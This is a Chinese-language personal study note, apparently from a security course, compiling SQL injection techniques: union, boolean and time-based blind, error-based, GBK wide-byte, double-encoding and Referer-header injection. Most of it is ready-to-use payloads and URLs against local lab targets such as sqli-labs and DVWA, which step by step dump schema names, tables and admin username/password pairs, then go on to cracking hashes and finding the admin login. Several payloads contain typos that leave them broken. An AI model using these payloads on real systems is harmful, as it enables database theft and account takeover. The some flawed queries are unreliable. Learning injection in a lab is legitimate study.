SQL注入汇总（手注，盲注，报错注入，宽字节，二次编码，http头部）{10.22、23 第二十四 二十五天}
首先什么是SQL注入：
所谓SQL注入，就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。
SQL注入有什么危害？
危害：数据泄露、脱库、篡改网站、破坏数据库、植入后门、getshell（获取网站权限）
为什么会有SQL注入漏洞？
后端代码在执行的过程将用户输入的数据也当做代码来执行，违背一个原则：代码和数据相分离（本质问题）
前段传递的数据可以随意控制，参数可控；后端对前段传递过来的数据没有过滤或者过滤不严谨，最终导致SQL注入（注入的原因）
首先本人现在只学了四五种SQL注入方式，仅作为学习参看，如有错误多多见谅=。=
SQL注入本人认为只要能找到注入点就简单了，大不了各种方式往上面试喽，虽然时间成本很大。
所以所只要在有跟数据库进行交互的地方就有可能出现SQL漏洞，在这些地方找注入点就很重要啦。
SQL注入常用的数据库函数及常量
常用的数据库函数以及常量
@@tmpdir 临时目录
@@datadir
@@basedir 数据库所在的位置
@@version 版本
@@hostname 当前数据库名字
user()
version() 版本
database() 获取数据库
concat()
group_concat()
concat_wa()
substr()：oracle，mysql，mssq l/substring()：mysql，mssql /mid()：mysql 截取字符串
注意：均有三个参数，第一个是被截取的字符，第二个是开始索引，第三个是截取的长度
left(pa1（截取字符串），pa2（截取的长度）) 从左边开始截取字符串
right(pa1（截取字符串），pa2（截取的长度）) 从右边开始截取字符串
sleep() 让数据库休眠的
ord() 显示字符的ascll
if(条件，条件为真时的返回值或者语句，条件为假时的返回值或者语句)
if(1=1,true,false)
case when 条件 then 条件为真时的返回值或语句 elas 条件为假时的返回时或语句 end
SELECT 1,CASE WHEN 1=1 THEN "hallo" ELAS "goodbye" END,3;
length() 计算字符串的长度
联合查询：
SELECT * FROM USERS WHERE id=1 UNION SELECT "a","b","c"；
select * from users where user_id=0,1 union select 1,2,union select 1,2,user(),4,5,database(),7;
mysql数据库中：一库一表三字段
mysql>5,0
information_schema mysql>5.0之后自带的，系统库，汇总（其他数据库的库名、表名、字段名）
columns表中存储数据（库名、表名、字段名），需要关注该表下的三个字段
table_schema 字段存储其他数据库的库名
table_name 字段存储其他数据库的表名
column_name 字段存储其他数据库的字段名
select table_schema,table_name,column_name from information_schema.columns; //查询table_schema（库名）、table_name（表名）、column_name（字段名）对应的数据。
select table_schema,table_name,column_name from information_schema.columns where table_schema="dvwa"; 查询数据库汇总中dvwa库下的所有表和字段（16进制执行dvwa也可以）
一、手工注入（就是一顿敲啊敲）{共分为7步，我认为五步就够用了}
1、检测注入点（可能存在SQL注入的地方）,找到类似ID（id/uid/typeid/sid/key~~）的参数（Google Hacking:），后面需要输入一些检测的恶意代码：
'
'and 1=1#
'and 1=2--
-1' or '1'='1
~~~~~~~
需不需要单引号，是由后端的拼接的SQL语句决定的，例如：
id='$id' 前端测试：id=1' and 1=1%23
id=$id 前端测试：id=1 and 1=1%23
输入的恶意payload被成功执行（页面显示效果以及报错信息），说明此处有SQL注入点
接下来还要判断注入方式：主要根据页面的回显效果来决定使用哪种注入技术
判断从后台数据库中选择的列数，以及哪几列在前端显示？
http://localhost/jdy1.5/typeid.php?typeid=1 order by 5%23
更换数字，根据页面显示效果判断后台数据库选择的列数，5列
union select 1,2,3,4,5%23
http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,2,3,4,5%23
根据页面显示效果可知在2的位置显示到前段，即可将2替换为SQL语句
2、收集后台数据库信息
查看当前用户：http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,user(),3,4,5%23
查看当前数据库：http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,databases(),3,4,5%23
http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,(select group_concat(distinct table_schema) from information_schema.columns),3,4,5%23 查看所有的库
grout_concat 分组并拼接 distinct 去重
3、获取当前数据库的表名
http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,(select group_concat(distinct table_name) from information_schema.columns where table_schema=jdycms),3,4,5%23 // jdycms需要转16进制
4、获取当前数据库下指定表下字段名
http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name=jdy_admin ),3,4,5%23
jdy_admin 需要转16进制
5、获取字段数据
http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,(select group_concat(username,0x7e,password) from jdy_admin limit 0,1 ),3,4,5%23
limit 0,1 从0行开始显示第一行 0x7e是~
group_concat 显示全部 concat显示选定行
6、解密：cmd5 pmd5 等等很多的解密方式
7、找后台登录：猜、目录扫描、信息收集
二、盲注：（分为时间盲注和布尔盲注）
盲注：用户提交的数据在后台数据库中执行之后，没有返回任何数据，无法在前端显示测试出的数据，此时需要使用盲注技术、
基于布尔的盲注
基于时间的盲注
基于布尔的盲注：
1、探测输入点 '/ 1' and 1=1%23 / 1' and '1'='1%23
注意：用户移交的数据被带入到后台数据库中执行，根据页面显示效果判断此处是否存在注入点
2、收集数据库信息（当前用户名、当前数据库、版本、）
http://localhost/sqli-labs-master/Less-8/index.php?id=10' and length(user())=14%23
用户长度是14（使用bp依次去爆破）
3、
http://localhost/sqli-labs-master/Less-8/index.php?id=10' and ascii(substr(user(),1,1))=114%23
(使用asc码去依次的判断字符)用户首字母是asc马的114也就是r后续依次去判断 root@localhost
ascii(substr((select distinct table_name from information_schema.columns where table_schema=database() limit 0,1),1,1))=114
先计算某个表的名字的长度，然后在判断每个字符
最终找到有价值的表：users
4、获取执行表的字段名
select distinct column_name from information_schema.columns where table name=0x7573657273 and table_schema=database() limit 0,1
字段首字母是i，后续依次去判断第一个字段名，第二字段名~~~~
最后找出敏感的字段：username password
5、后去指定字段数据
select group_concat(username,0x7e,password) from users limit 0,1
6、解密密文数据，登录后台
基于时间法盲注：
时间的概念：使用特定的函数让数据库去执行，在页面等待一定的时间，来查看当前页面中注入情况
函数：sleep()
select * from dvwa.users where user_id=1 and if(database(user())=14,sleep(5),'true');
最终没有返回值，需要关注的是浏览器的响应时间
benchmark(参数1，参数2)，蚕食1表示执行多少次，参数2是某项操作，使用函数或者表达式。 select benchmark(1000000,1000*1000);
1、找到注入点
2、获取数据库信息
当前数据库的长度：
select * from dvwa.users where user_id=1 and if(database(database())=14,sleep(5),'true');
获取每个字符
select * from dvwa.users where user_id=1 and if(ascii(substring(database(),1,1))=114,sleep(5),'true');
3、获取当前数据库的表
select * from dvwa.users where user_id=1 and if(ord(mid((select distinct table_name from infomation_schema.tables where table_schema=database() limit 0,1),1,1))=102,sleep(5),'true');
找价值的表，user
4、获取指定表中的字段
select * from dvwa.users where user_id=1 and if(ord(mid((select distinct table_name from infomation_schema.tables where table_schema=database() and table_name=0x7573657273 limit 0,1),1,1))=102,sleep(5),'true');
找有意义的字段，username password
5、获取内容
select * from dvwa.users where user_id=1 and if(ord(mid((select concat(admin,0x7e,password)from dvwa.users limit 0,1)1,1))=102,sleep(5),'true');
三、报错注入：（即是根据错误回显进行判断）
基于报错的注入
报错的含义：利用一些报错的函数构造payload，数据库执行之后会报错，并将我们需要的数据带出来，达到攻击的目的
报错的函数：
（1）extractvalue(参数1，参数2) 从目标XML中返回查询到的字符串，参数1是string格式的XML文档名，参数2是XPATH格式的字符串（需要查询的）
select extractvalue(1,concat(0x7e,(select user()),0x7e));
（2）updatexml(参数1，参数2，参数3) 改变XML文档中符合条件的节点的值，参数1是xml文档，参数2是Xpath格式的字符串，参数3是string格式的替换查找符合条件的数据
select updatexml(1,concat(0x7e,(select user()),0x7e),1);
注意：前两者报错长多有限制32位
（3）floor()函数，必须和conut()计数 rand()产生0-1之间的随机小数，如果给了参数（种子），那么会根据该种子产生固定的值 goup by 等函数配合使用（能够达到相同目的的函数都可以替换去使用！）
select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from infomation_schema.tables group by x)a
(select count(*)所有记录做个统计,concat(user(),floor(rand(0)*2))拼接两个参数整体作为x from infomation_schema.tables group by x根据X进行排序)a
通过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor(random(0)*2)的不确定性，即可能为0也可能为1（group by key的原理是循环读取数据的每一行，将结果保存于临时表中。读取每一行的key时，如果key存在于临时表中，则不在临时表中则更新临时表中的数据；如果该key不存在于临时表中，则在临时表中插入key所在行的数据。group by floor(random(0)*2)出错的原因是key是个随机数，检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0，如果此时临时表只有key为1的行不存在key为0的行，那么数据库要将该条记录插入临时表，由于是随机数，插时又要计算一下随机值，此时floor(random(0)*2)结果可能为1，就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。
四、宽字节注入：（主要是根据转义特殊字符的注入）
mysql_query("SET NAMES 'gbk'");//设置字符集编码
mysql_set_charset("GBK");//设置字符集编码
mysql_real_escape_string()
对参数进行过滤转义，具有类似功能的函数有：addslacher()、mysql_escape_string()【php5.3之后就废除了】、魔术引号（magic_quotes_gpc 模块），针对特殊符号 ' " \ null < > 等，
GBK编码，针对汉字的一种编码方式，使用两个字节编码一个汉字
1%df' = 1%df\' = 1%df%25%27 =1(%df%25)%27 = 1運'
SELECT * FROM news WHERE tid='{$id}'
SELECT * FROM news WHERE tid='{1運'}' -->会报错
漏洞形成原理：对数据库执行之后的结果进行gbk编码，执行过滤你函数会对用户提交的数据进行过滤=宽字节
测试步骤
1、访问站点http://localhost/gbksql/01/?id=1' 查看返回结果
2、http://localhost/gbksql/01/?id=1%df' （为啥使用df？高位在81以后就能用，81~fe） 1%df'---->1%df\'--->1%df5c--->1\運'
3、 http://localhost/gbksql/01/?id=-1%81' union select 1,user(),3%23
PDO宽字节防止SQL注入：
PDO：连接数据库--》设置模板--》绑定数据--》执行SQL语句
$conn->setAttribute(PDO::ATTR_EMULATE_PREPARES,false) 防止大部分的SQL注入
https://www.jianshu.com/p/c0deb8061718
五、二次编码注入:
浏览器会对from表单中的数据进行一次URL编码，到达服务器之后会默认解码
PHP中URL解码函数有： urldecode() rawurldecode()
六、HTTP头部SQL注入：（基于HTTP响应包的一种注入方式）
步骤1：数据库名security
Referer: ' or updatexml(1,concat('#',(database())),0),'')#
步骤2：表名users
Referer: ' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0),'')#
步骤3：字段名id、username、password
Referer: ' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0),'')#
步骤4：数据
Referer: ' or updatexml(1,concat('#',(select * from (select concat_ws('#',id,username,password) from users limit 0,1) a)),0),'')#
